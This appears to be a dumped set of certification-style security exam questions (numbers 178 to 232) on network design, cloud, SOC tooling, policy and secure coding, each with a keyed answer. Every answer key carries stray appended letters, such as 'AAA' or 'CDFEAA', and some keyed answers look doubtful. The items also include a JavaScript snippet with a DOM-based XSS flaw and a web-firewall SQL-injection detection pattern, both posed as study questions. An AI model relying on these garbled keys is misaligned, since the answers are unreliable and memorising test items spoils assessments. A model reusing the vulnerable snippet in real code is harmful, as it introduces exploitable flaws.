Explanation/Reference:

QUESTION 178
The security team for Company XYZ has determined that someone from outside the organization has obtained sensitive information about the internal organization by querying the external DNS server of the company. The security manager is tasked with making sure this problem does not occur in the future. How would the security manager address this problem?

A. Implement a split DNS, only allowing the external DNS server to contain information about domains that only the outside world should be aware, and an internal DNS server to maintain authoritative records for internal systems.
B. Implement a split DNS, only allowing the external DNS server to contain information about internal domain resources that the outside world would be interested in, and an internal DNS server to maintain authoritative records for internal systems.
C. Implement a split DNS, only allowing the external DNS server to contain information about domains that only the outside world should be aware, and an internal DNS server to maintain non-authoritative records for external systems.
D. Implement a split DNS, only allowing the internal DNS server to contain information about domains the outside world should be aware of, and an external DNS server to maintain authoritative records for internal systems.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 179
Unit testing for security functionality and resiliency to attack, as well as developing secure code and exploit mitigation, occur in which of the following phases of the Secure Software Development Lifecycle?

A. Secure Software Requirements
B. Secure Software Implementation
C. Secure Software Design
D. Software Acceptance

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 180
Which of the following are security components provided by an application security library or framework? (Select THREE).

A. Authorization database
B. Fault injection
C. Input validation
D. Secure logging
E. Directory services
F. Encryption and decryption

Correct Answer: CDFEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 181
Which of the following potential vulnerabilities exists in the following code snippet?

```
var myEmail = document.getElementById(“formInputEmail”).value;
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
Document.getElementById(“profileBox”).innerHTML = “Emails will be sent to “ + myEmail +
xmlhttp.responseText;
}
```

A. Javascript buffer overflow
B. AJAX XHR weaknesses
C. DOM-based XSS
D. JSON weaknesses

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 182
The Chief Information Security Officer (CISO) has just returned from attending a security conference and now wants to implement a Security Operations Center (SOC) to improve and coordinate the detection of unauthorized access to the enterprise. The CISO’s biggest concern is the increased number of attacks that the

current infrastructure cannot detect. Which of the following is MOST likely to be used in a SOC to address the CISO's concerns?

A. DLP, Analytics, SIEM, Forensics, NIPS, HIPS, WIPS and eGRC
B. Forensics, White box testing, Log correlation, HIDS, and SSO
C. Vulnerability assessments, NIDP, HIDS, SCAP, Analytics and SIEM
D. eGRC, WIPS, Federated ID, Network enumerator, NIPS and Port Scanners

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 183
The IT Manager has mandated that an extensible markup language be implemented which can be used to exchange provisioning requests and responses for account creation. Which of the following is BEST able to achieve this?

A. XACML
B. SAML
C. SOAP
D. SPML

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 184
A company is planning to deploy an in-house Security Operations Center (SOC).
One of the new requirements is to deploy a NIPS solution into the Internet facing environment. The SOC highlighted the following requirements:
-Perform fingerprinting on unfiltered inbound traffic to the company -Monitor all inbound and outbound traffic to the DMZ's
In which of the following places should the NIPS be placed in the network?

A. In front of the Internet firewall and in front of the DMZs
B. In front of the Internet firewall and in front of the internal firewall
C. In front of the Internet firewall and behind the internal firewall
D. Behind the Internet firewall and in front of the DMZs

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 185
A company recently experienced a malware outbreak. It was caused by a vendor using an approved non-company device on the company's corporate network that impacted manufacturing lines, causing a week of downtime to recover from the attack. Which of the following reduces this threat and minimizes potential impact

on the manufacturing lines?

A. Disable remote access capabilities on manufacturing SCADA systems.
B. Require a NIPS for all communications to and from manufacturing SCADA systems.
C. Add anti-virus and client firewall capabilities to the manufacturing SCADA systems.
D. Deploy an ACL that restricts access from the corporate network to the manufacturing SCADA systems.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 186
Capital Reconnaissance, LLC is building a brand new research and testing location, and the physical security manager wants to deploy IP-based access control and video surveillance. These two systems are essential for keeping the building open for operations. Which of the following controls should the security administrator recommend to determine new threats against the new IP-based access control and video surveillance systems?

A. Develop a network traffic baseline for each of the physical security systems.
B. Air gap the physical security networks from the administrative and operational networks.
C. Require separate non-VLANed networks and NIPS for each physical security system network.
D. Have the Network Operations Center (NOC) review logs and create a CERT to respond to breaches.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 187
A company has recently implemented a video conference solution that uses the H.323 protocol. The security engineer is asked to make recommendations on how to secure video conferences to protect confidentiality. Which of the following should the security engineer recommend?

A. Implement H.235 extensions with DES to secure the audio and video transport.
B. Recommend moving to SIP and RTP as those protocols are inherently secure.
C. Recommend implementing G.711 for the audio channel and H.264 for the video.
D. Encapsulate the audio channel in the G.711 codec rather than the unsecured Speex.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 188
A healthcare company recently purchased the building next door located on the same campus. The building previously did not have any IT infrastructure. The building manager has selected four potential locations to place IT equipment consisting of a half height open server rack with five switches, a router, a firewall, and two servers. Given the descriptions below, where would the security engineer MOST likely recommend placing the rack?

The Boiler Room: The rack can be placed 5 feet (1.5 meters) up on the wall, between the second and third boiler. The room is locked and only maintenance has access to it.
The Reception AreA. The reception area is an open area right as customers enter. There is a closet 5 feet by 5 feet (1.5 meters by 1.5 meters) that the rack will be placed in with floor mounts. There is a 3 digit PIN lock that the receptionist sets.
The Rehabilitation AreA. The rack needs to be out of the way from patients using the whirlpool bath, so it will be wall mounted 8 feet (2.4 meters) up as the area has high ceilings. The rehab area is staffed full time and admittance is by key card only.
The Finance AreA. There is an unused office in the corner of the area that can be used for the server rack. The rack will be floor mounted. The finance area is locked and alarmed at night.

A. The Rehabilitation Area
B. The Reception Area
C. The Boiler Room
D. The Finance Area

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 189
A network security engineer would like to allow authorized groups to access network devices with a shell restricted to only show information while still authenticating the administrator's group to an unrestricted shell. Which of the following can be configured to authenticate and enforce these shell restrictions? (Select TWO).

A. Single Sign On
B. Active Directory
C. Kerberos
D. NIS+
E. RADIUS
F. TACACS+

Correct Answer: EFEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 190
An administrator is unable to connect to a server via VNC. Upon investigating the host firewall configuration, the administrator sees the following lines:

```
-A INPUT -m state --state NEW -m tcp -p tcp --dport 3389 -j DENY -A INPUT -m state --state NEW -m tcp -p
tcp --dport 22 -j DENY -A INPUT -m state --state NEW -m tcp -p tcp --dport 10000 -j ACCEPT -A INPUT -m
state --state NEW -m tcp -p tcp --dport 80 -j DENY -A INPUT -m state --state NEW -m tcp -p tcp --sport 3389 -j
ACCEPT
```

Which of the following should occur to allow VNC access to the server?

A. DENY needs to be changed to ACCEPT on one line.
B. A line needs to be added.
C. A line needs to be removed.
D. Fix the typo in one line.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 191
Company A is trying to implement controls to reduce costs and time spent on litigation. To accomplish this, Company A has established several goals:
-Prevent data breaches from lost/stolen assets -Reduce time to fulfill e-discovery requests -Prevent PII from leaving the network -Lessen the network perimeter attack surface -Reduce internal fraud
Which of the following solutions accomplishes the MOST of these goals?

A. Implement separation of duties; enable full encryption on USB devices and cell phones, allow cell phones to remotely connect to e-mail and network VPN, enforce a 90 day data retention policy.
B. Eliminate VPN access from remote devices. Restrict junior administrators to read-only shell access on network devices. Install virus scanning and SPAM filtering. Harden all servers with trusted OS extensions.
C. Create a change control process with stakeholder review board, implement separation of duties and mandatory vacation, create regular SAN snapshots, enable GPS tracking on all cell phones and laptops, and fully encrypt all email in transport.
D. Implement outgoing mail sanitation and incoming SPAM filtering. Allow VPN for mobile devices; cross train managers in multiple disciplines, ensure all corporate USB drives are provided by Company A and de-duplicate all server storage.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 192
A security architect is seeking to outsource company server resources to a commercial cloud service provider. The provider under consideration has a reputation for poorly controlling physical access to datacenters and has been the victim of multiple social engineering attacks. The service provider regularly assigns VMs from multiple clients to the same physical resources. When conducting the final risk assessment which of the following should the security architect take into consideration?

A. The ability to implement user training programs for the purpose of educating internal staff about the dangers of social engineering.
B. The cost of resources required to relocate services in the event of resource exhaustion on a particular VM.
C. The likelihood a malicious user will obtain proprietary information by gaining local access to the hypervisor platform.
D. Annual loss expectancy resulting from social engineering attacks against the cloud service provider affecting corporate network infrastructure.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 193
The root cause analysis of a recent security incident reveals that an attacker accessed a printer from the Internet. The attacker then accessed the print server, using the printer as a launch pad for a shell exploit. The

print server logs show that the attacker was able to exploit multiple accounts, ultimately launching a successful DoS attack on the domain controller. Defending against which of the following attacks should form the basis of the incident mitigation plan?

A. DDoS
B. SYN flood
C. Buffer overflow
D. Privilege escalation

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 194
An existing enterprise architecture included an enclave where sensitive research and development work was conducted. This network enclave also served as a storage location for proprietary corporate data and records. The initial security architect chose to protect the enclave by restricting access to a single physical port on a firewall. All downstream network devices were isolated from the rest of the network and communicated solely through the single 100mbps firewall port. Over time, researchers connected devices on the protected enclave directly to external resources and corporate data stores. Mobile and wireless devices were also added to the enclave to support high speed data research. Which of the following BEST describes the process which weakened the security posture of the enclave?

A. Emerging business requirements led to the de-perimiterization of the network.
B. Emerging security threats rendered the existing architecture obsolete.
C. The single firewall port was oversaturated with network packets.
D. The shrinking of an overall attack surface due to the additional access.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 195
At one time, security architecture best practices led to networks with a limited number (1-3) of network access points. This restriction allowed for the concentration of security resources and resulted in a well defined attack surface. The introduction of wireless networks, highly portable network devices, and cloud service providers has rendered the network boundary and attack surface increasingly porous. This evolution of the security architecture has led to which of the following?

A. Increased security capabilities, the same amount of security risks and a higher TCO but a smaller corporate datacenter on average.
B. Increased business capabilities and increased security risks with a lower TCO and smaller physical footprint on the corporate network.
C. Increased business capabilities and increased security risks with a higher TCO and a larger physical footprint.
D. Decreased business capabilities and increased security risks with a lower TCO and increased logical footprint due to virtualization.

Correct Answer: CAA
Section: (none)

Explanation

Explanation/Reference:

QUESTION 196
An administrator notices the following file in the Linux server's /tmp directory.
-rwsr-xr-x. 4 root root 234223 Jun 6 22:52 bash*
Which of the following should be done to prevent further attacks of this nature?

A. Never mount the /tmp directory over NFS
B. Stop the rpcidmapd service from running
C. Mount all tmp directories nosuid, noexec
D. Restrict access to the /tmp directory

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 197
Company ABC has entered into a marketing agreement with Company XYZ, whereby ABC will share some of its customer information with XYZ. However, XYZ can only contact ABC customers who explicitly agreed to being contacted by third parties. Which of the following documents would contain the details of this marketing agreement?

A. BPA
B. ISA
C. NDA
D. SLA

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 198
Company ABC has a 100Mbps fiber connection from headquarters to a remote office 200km (123 miles) away. This connection is provided by the local cable television company. ABC would like to extend a secure VLAN to the remote office, but the cable company says this is impossible since they already use VLANs on their internal network. Which of the following protocols should the cable company be using to allow their customers to establish VLANs to other sites?

A. IS-IS
B. EIGRP
C. MPLS
D. 802.1q

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 199
An ecommerce application on a Linux server does not properly track the number of incoming connections to the server and may leave the server vulnerable to which of following?

A. Buffer Overflow Attack
B. Storage Consumption Attack
C. Denial of Service Attack
D. Race Condition

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:
Topic 3, Volume C

QUESTION 200
Company A has a remote work force that often includes independent contractors and out of state full time employees. Company A's security engineer has been asked to implement a solution allowing these users to collaborate on projects with the following goals:
-All communications between parties need to be encrypted in transport -Users must all have the same application sets at the same version -All data must remain at Company A's site -All users must not access the system between 12:00 and 1:00 as that is the maintenance
window -Easy to maintain, patch and change application environment
Which of the following solutions should the security engineer recommend to meet the MOST goals?

A. Create an SSL reverse proxy to a collaboration workspace. Use remote installation service to maintain application version. Have users use full desktop encryption. Schedule server downtime from 12:00 to 1:00 PM.
B. Install an SSL VPN to Company A's datacenter, have users connect to a standard virtual workstation image, set workstation time of day restrictions.
C. Create an extranet web portal using third party web based office applications. Ensure that Company A maintains the administrative access.
D. Schedule server downtime from 12:00 to 1:00 PM, implement a Terminal Server Gateway, use remote installation services to standardize application on user’s laptops.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 201
A startup company offering software on demand has hired a security consultant to provide expertise on data security. The company’s clients are concerned about data confidentiality. The security consultant must design an environment with data confidentiality as the top priority, over availability and integrity. Which of the following designs is BEST suited for this purpose?

A. All of the company servers are virtualized in a highly available environment sharing common hardware and redundant virtual storage. Clients use terminal service access to the shared environment to access the virtualized applications. A secret key kept by the startup encrypts the application virtual memory and data store.
B. All of the company servers are virtualized in a highly available environment sharing common hardware and

redundant virtual storage. Clients use terminal service access to the shared environment and to access the virtualized applications. Each client has a common shared key, which encrypts the application virtual memory and data store.

C. Each client is assigned a set of virtual hosts running shared hardware. Physical storage is partitioned into LUNS and assigned to each client. MPLS technology is used to segment and encrypt each of the client's networks. PKI based remote desktop with hardware tokens is used by the client to connect to the application.

D. Each client is assigned a set of virtual hosts running shared hardware. Virtual storage is partitioned and assigned to each client. VLAN technology is used to segment each of the client's networks. PKI based remote desktop access is used by the client to connect to the application.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 202

A financial institution wants to reduce the costs associated with managing and troubleshooting employees' desktops and applications, while keeping employees from copying data onto external storage. The Chief Information Officer (CIO) has asked the security team to evaluate four solutions submitted by the change management group. Which of the following BEST accomplishes this task?

A. Implement desktop virtualization and encrypt all sensitive data at rest and in transit.
B. Implement server virtualization and move the application from the desktop to the server.
C. Implement VDI and disable hardware and storage mapping from the thin client.
D. Move the critical applications to a private cloud and disable VPN and tunneling.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 203

A health service provider is considering the impact of allowing doctors and nurses access to the internal email system from their personal smartphones. The Information Security Officer (ISO) has received a technical document from the security administrator explaining that the current email system is capable of enforcing security policies to personal smartphones, including screen lockout and mandatory PINs. Additionally, the system is able to remotely wipe a phone if reported lost or stolen. Which of the following should the Information Security Officer be MOST concerned with based on this scenario? (Select THREE).

A. The email system may become unavailable due to overload.
B. Compliance may not be supported by all smartphones.
C. Equipment loss, theft, and data leakage.
D. Smartphone radios can interfere with health equipment.
E. Data usage cost could significantly increase.
F. Not all smartphones natively support encryption.
G. Smartphones may be used as rogue access points.

Correct Answer: BCFEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 204
The security administrator at a company has received a subpoena for the release of all the email received and sent by the company Chief Information Officer (CIO) for the past three years. The security administrator is only able to find one year's worth of email records on the server and is now concerned about the possible legal implications of not complying with the request. Which of the following should the security administrator check BEFORE responding to the request?

A. The company data privacy policies
B. The company backup logs and archives
C. The company data retention policies and guidelines
D. The company data retention procedures

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 205
A database administrator comes across the below records in one of the databases during an internal audit of the payment system: UserIDAddressCredit Card No.Password
jsmith123 fake street55XX-XXX-XXXX-1397Password100
jqdoe234 fake street42XX-XXX-XXXX-202717DEC12
From a security perspective, which of the following should be the administrator's GREATEST concern, and what will correct the concern?

A. Concern: Passwords are stored in plain text.
Correction: Require a minimum of 8 alphanumeric characters and hash the password.
B. Concern: User IDs are also usernames, and could be enumerated, thereby disclosing sensitive account information.
Correction: Require user IDs to be more complex by using alphanumeric characters and hash the UserIDs.
C. Concern: User IDs are confidential private information.
Correction: Require encryption of user IDs.
D. Concern: More than four digits within a credit card number are stored.
Correction: Only store the last four digits of a credit card to protect sensitive financial information.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 206
A security administrator is redesigning, and implementing a service-oriented architecture to replace an old, in-house software processing system, tied to a corporate sales website. After performing the business process analysis, the administrator decides the services need to operate in a dynamic fashion. The company has also been the victim of data injection attacks in the past and needs to build in mitigation features. Based on these requirements and past vulnerabilities, which of the following needs to be incorporated into the SOA?

A. Point to point VPNs for all corporate intranet users.
B. Cryptographic hashes of all data transferred between services.

C. Service to service authentication for all workflows.

D. Two-factor authentication and signed code

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 207
A team of security engineers has applied regulatory and corporate guidance to the design of a corporate network. The engineers have generated an SRTM based on their work and a thorough analysis of the complete set of functional and performance requirements in the network specification. Which of the following BEST describes the purpose of an SRTM in this scenario?

A. To ensure the security of the network is documented prior to customer delivery

B. To document the source of all functional requirements applicable to the network

C. To facilitate the creation of performance testing metrics and test plans

D. To allow certifiers to verify the network meets applicable security requirements

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 208
A small company hosting multiple virtualized client servers on a single host is considering adding a new host to create a cluster. The new host hardware and operating system will be different from the first host, but the underlying virtualization technology will be compatible. Both hosts will be connected to a shared iSCSI storage solution. Which of the following is the hosting company MOST likely trying to achieve?

A. Increased customer data availability

B. Increased customer data confidentiality

C. Increased security through provisioning

D. Increased security through data integrity

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 209
A security administrator is conducting network forensic analysis of a recent defacement of the company's secure web payment server (HTTPS). The server was compromised around the New Year's holiday when all the company employees were off. The company's network diagram is summarized below:
-Internet -Gateway Firewall -IDS -Web SSL Accelerator -Web Server Farm -Internal Firewall -Company Internal Network
The security administrator discovers that all the local web server logs have been deleted. Additionally, the Internal Firewall logs are intact but show no activity from the internal network to the web server farm during the holiday.
Which of the following is true?

A. The security administrator should review the IDS logs to determine the source of the attack and the attack vector used to compromise the web server.

B. The security administrator must correlate the external firewall logs with the intrusion detection system logs to determine what specific attack led to the web server compromise.

C. The security administrator must reconfigure the network and place the IDS between the SSL accelerator and the server farm to be able to determine the cause of future attacks.

D. The security administrator must correlate logs from all the devices in the network diagram to determine what specific attack led to the web server compromise.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 210
The security manager of a company has hired an external consultant to conduct a security assessment of the company network. The contract stipulates that the consultant is not allowed to transmit any data on the company network while performing wired and wireless security assessments. Which of the following technical means can the consultant use to determine the manufacturer and likely operating system of the company wireless and wired network devices, as well as the computers connected to the company network?

A. Social engineering

B. Protocol analyzer

C. Port scanner

D. Grey box testing

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 211
A security consultant is called into a small advertising business to recommend which security policies and procedures would be most helpful to the business. The business is comprised of 20 employees, operating off of two shared servers. One server houses employee data and the other houses client data. All machines are on the same local network. Often these employees must work remotely from client sites, but do not access either of the servers remotely. Assuming no security policies or procedures are in place right now, which of the following would be the MOST applicable for implementation? (Select TWO).

A. Password Policy

B. Data Classification Policy

C. Wireless Access Procedure

D. VPN Policy

E. Database Administrative Procedure

Correct Answer: ABEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 212
When attending the latest security conference, an information security administrator noticed only a few people carrying a laptop around. Most other attendees only carried their smartphones.
Which of the following would impact the security of conference's resources?

A. Wireless network security may need to be increased to decrease access of mobile devices.
B. Physical security may need to be increased to deter or prevent theft of mobile devices.
C. Network security may need to be increased by reducing the number of available physical network jacks.
D. Wireless network security may need to be decreased to allow for increased access of mobile devices.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 213
A process allows a LUN to be available to some hosts and unavailable to others. Which of the following causes such a process to become vulnerable?

A. LUN masking
B. Data injection
C. Data fragmentation
D. Moving the HBA

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 214
In order for a company to boost profits by implementing cost savings on non-core business activities, the IT manager has sought approval for the corporate email system to be hosted in the cloud. The compliance officer has been tasked with ensuring that data lifecycle issues are taken into account. Which of the following BEST covers the data lifecycle end-to-end?

A. Creation and secure destruction of mail accounts, emails, and calendar items
B. Information classification, vendor selection, and the RFP process
C. Data provisioning, processing, in transit, at rest, and de-provisioning
D. Securing virtual environments, appliances, and equipment that handle email

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 215
A large organization has gone through several mergers, acquisitions, and de-mergers over the past decade. As a result, the internal networks have been integrated but have complex dependencies and interactions between systems. Better integration is needed in order to simplify the underlying complexity. Which of the following is the MOST suitable integration platform to provide event-driven and standards-based secure software architecture?

A. Service oriented architecture (SOA)
B. Federated identities
C. Object request broker (ORB)
D. Enterprise service bus (ESB)

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 216
The Chief Information Officer (CIO) of a technology company is likely to move away from a deperimeterized model for employee owned devices. This is because there were too many issues with lack of patching, malware incidents, and data leakage due to lost/stolen devices which did not have full-disk encryption. The 'bring your own computing' approach was originally introduced because different business units preferred different operating systems and application stacks. Based on the issues and user needs, which of the following is the BEST recommendation for the CIO to make?

A. The de-perimeterized model should be kept as this is major industry trend and other companies are following this direction. Advise that the issues being faced are standard business as usual concerns in a modern IT environment.
B. Update the policy to disallow non-company end-point devices on the corporate network. Develop security-focused standard operating environments (SOEs) for all required operating systems and ensure the needs of each business unit are met.
C. The de-perimeterized model should be kept but update company policies to state that non-company end-points require full disk encryption, anti-virus software, and regular patching.
D. Update the policy to disallow non-company end-point devices on the corporate network. Allow only one type of outsourced SOE to all users as this will be easier to provision, secure, and will save money on operating costs.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 217
An architect has been engaged to write the security viewpoint of a new initiative. Which of the following BEST describes a repeatable process that can be used for establishing the security architecture?

A. Inspect a previous architectural document. Based on the historical decisions made, consult the architectural control and pattern library within the organization and select the controls that appear to best fit this new architectural need.
B. Implement controls based on the system needs. Perform a risk analysis of the system. For any remaining risks, perform continuous monitoring.
C. Classify information types used within the system into levels of confidentiality, integrity, and availability. Determine minimum required security controls. Conduct a risk analysis. Decide on which security controls to implement.
D. Perform a risk analysis of the system. Avoid extreme risks. Mitigate high risks. Transfer medium risks and accept low risks. Perform continuous monitoring to ensure that the system remains at an adequate security posture.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 218
Within the company, there is executive management pressure to start advertising to a new target market. Due to the perceived schedule and budget inefficiencies of engaging a technology business unit to commission a new micro-site, the marketing department is engaging third parties to develop the site in order to meet time-to-market demands. From a security perspective, which of the following options BEST balances the needs between marketing and risk management?

A. The third party should be contractually obliged to perform adequate security activities, and evidence of those activities should be confirmed by the company prior to launch.
B. Outsourcing is a valid option to increase time-to-market. If a security incident occurs, it is not of great concern as the reputational damage will be the third party's responsibility.
C. The company should never outsource any part of the business that could cause a security or privacy incident. It could lead to legal and compliance issues.
D. If the third party has an acceptable record to date on security compliance and is provably faster and cheaper, then it makes sense to outsource in this specific situation.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 219
Several business units have requested the ability to use collaborative web-based meeting places with third party vendors. Generally these require user registration, installation of client-based ActiveX or Java applets, and also the ability for the user to share their desktop in read-only or read-write mode. In order to ensure that information security is not compromised, which of the following controls is BEST suited to this situation?

A. Disallow the use of web-based meetings as this could lead to vulnerable client-side components being installed, or a malicious third party gaining read-write control over an internal workstation.
B. Hire an outside consultant firm to perform both a quantitative and a qualitative risk-based assessment. Based on the outcomes, if any risks are identified then do not allow web-based meetings. If no risks are identified then go forward and allow for these meetings to occur.
C. Allow the use of web-based meetings, but put controls in place to ensure that the use of these meetings is logged and tracked.
D. Evaluate several meeting providers. Ensure that client-side components do not introduce undue security risks. Ensure that the read-write desktop mode can either be prevented or strongly audited.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 220
A new web application system was purchased from a vendor and configured by the internal development team. Before the web application system was moved into production, a vulnerability assessment was conducted. A review of the vulnerability assessment report indicated that the testing team discovered a minor security issue

with the configuration of the web application. The security issue should be reported to:

A. CISO immediately in an exception report.
B. users of the new web application system.
C. the vendor who supplied the web application system.
D. team lead in a weekly report.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 221
A security consultant is hired by a company to determine if an internally developed web application is vulnerable to attacks. The consultant spent two weeks testing the application, and determines that no vulnerabilities are present. Based on the results of the tools and tests available, which of the following statements BEST reflects the security status of the application?

A. The company's software lifecycle management improved the security of the application.
B. There are no vulnerabilities in the application.
C. The company should deploy a web application firewall to ensure extra security.
D. There are no known vulnerabilities at this time.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 222
In an effort to reduce internal email administration costs, a company is determining whether to outsource its email to a managed service provider that provides email, spam, and malware protection. The security manager is asked to provide input regarding any security implications of this change. Which of the following BEST addresses risks associated with disclosure of intellectual property?

A. Require the managed service provider to implement additional data separation.
B. Require encrypted communications when accessing email.
C. Enable data loss protection to minimize emailing PII and confidential data.
D. Establish an acceptable use policy and incident response policy.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 223
A company is preparing to upgrade its NIPS at five locations around the world. The three platforms the team plans to test, claims to have the most advanced features and lucrative pricing. Assuming all platforms meet the functionality requirements, which of the following methods should be used to select the BEST platform?

A. Establish return on investment as the main criteria for selection.

B. Run a cost/benefit analysis based on the data received from the RFP.
C. Evaluate each platform based on the total cost of ownership.
D. Develop a service level agreement to ensure the selected NIPS meets all performance requirements.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 224
An organization has had component integration related vulnerabilities exploited in consecutive releases of the software it hosts. The only reason the company was able to identify the compromises was because of a correlation of slow server performance and an attentive security analyst noticing unusual outbound network activity from the application servers. End-to-end management of the development process is the responsibility of the applications development manager and testing is done by various teams of programmers. Which of the following will MOST likely reduce the likelihood of similar incidents?

A. Conduct monthly audits to verify that application modifications do not introduce new vulnerabilities.
B. Implement a peer code review requirement prior to releasing code into production.
C. Follow secure coding practices to minimize the likelihood of creating vulnerable applications.
D. Establish cross-functional planning and testing requirements for software development activities.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 225
A company has a single subnet in a small office. The administrator wants to limit non-web related traffic to the corporate intranet server as well as prevent abnormal HTTP requests and HTTP protocol anomalies from causing problems with the web server. Which of the following is the MOST likely solution?

A. Application firewall and NIPS
B. Edge firewall and HIDS
C. ACLs and anti-virus
D. Host firewall and WAF

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 226
An administrator is reviewing logs and sees the following entry:

```
Message: Access denied with code 403 (phase 2). Pattern match "\bunion\b.{1,100}?\bselect\b" at ARGS:$id.
[data "union all select"] [severity "CRITICAL"] [tag "WEB_ATTACK"] [tag "WASCTC/WASC-19"] [tag
"OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"]
Action: Intercepted (phase 2) Apache-Handler: php5-script
```

Which of the following attacks was being attempted?

A. Session hijacking
B. Cross-site script
C. SQL injection
D. Buffer overflow

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 227
A team is established to create a secure connection between software packages in order to list employee's remaining or unused benefits on their paycheck stubs. Which of the following business roles would be MOST effective on this team?

A. Network Administrator, Database Administrator, Programmers
B. Network Administrator, Emergency Response Team, Human Resources
C. Finance Officer, Human Resources, Security Administrator
D. Database Administrator, Facilities Manager, Physical Security Manager

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 228
An administrator is notified that contract workers will be onsite assisting with a new project. The administrator wants each worker to be aware of the corporate policy pertaining to USB storage devices. Which of the following should each worker review and understand before beginning work?

A. Interconnection Security Agreement
B. Memorandum of Understanding
C. Business Partnership Agreement
D. Non-Disclosure Agreement

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 229
A new startup company with very limited funds wants to protect the organization from external threats by implementing some type of best practice security controls across a number of hosts located in the application zone, the production zone, and the core network. The 50 hosts in the core network are a mixture of Windows and Linux based systems, used by development staff to develop new applications. The single Windows host in the application zone is used exclusively by the production team to control software deployments into the production zone. There are 10 UNIX web application hosts in the production zone which are publically accessible.
Development staff is required to install and remove various types of software from their hosts on a regular basis while the hosts in the zone rarely require any type of configuration changes.

Which of the following when implemented would provide the BEST level of protection with the LEAST amount of disruption to staff?

A. NIPS in the production zone, HIPS in the application zone, and anti-virus / anti-malware across all Windows hosts.
B. NIPS in the production zone, NIDS in the application zone, HIPS in the core network, and antivirus / anti-malware across all hosts.
C. HIPS in the production zone, NIPS in the application zone, and HIPS in the core network.
D. NIDS in the production zone, HIDS in the application zone, and anti-virus / anti-malware across all hosts.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 230
A security manager is developing new policies and procedures. Which of the following is a best practice in end user security?

A. Employee identity badges and physical access controls to ensure only staff are allowed onsite.
B. A training program that is consistent, ongoing, and relevant.
C. Access controls to prevent end users from gaining access to confidential data.
D. Access controls for computer systems and networks with two-factor authentication.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 231
If a technician must take an employee’s workstation into custody in response to an investigation, which of the following can BEST reduce the likelihood of related legal issues?

A. A formal letter from the company’s president approving the seizure of the workstation.
B. A formal training and awareness program on information security for all company managers.
C. A screen displayed at log in that informs users of the employer’s rights to seize, search, and monitor company devices.
D. A printout of an activity log, showing that the employee has been spending substantial time on non-work related websites.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 232
An organization has had six security incidents over the past year against their main web application. Each time the organization was able to determine the cause of the incident and restore operations within a few hours to a few days. Which of the following provides the MOST comprehensive method for reducing the time to recover?

A. Create security metrics that provide information on response times and requirements to determine the best place to focus time and money.
B. Conduct a loss analysis to determine which systems to focus time and money towards increasing security.
C. Implement a knowledge management process accessible to the help desk and finance departments to estimate cost and prioritize remediation.
D. Develop an incident response team, require training for incident remediation, and provide incident reporting and tracking metrics.

Correct Answer: DAA
Section: (none)
Explanation

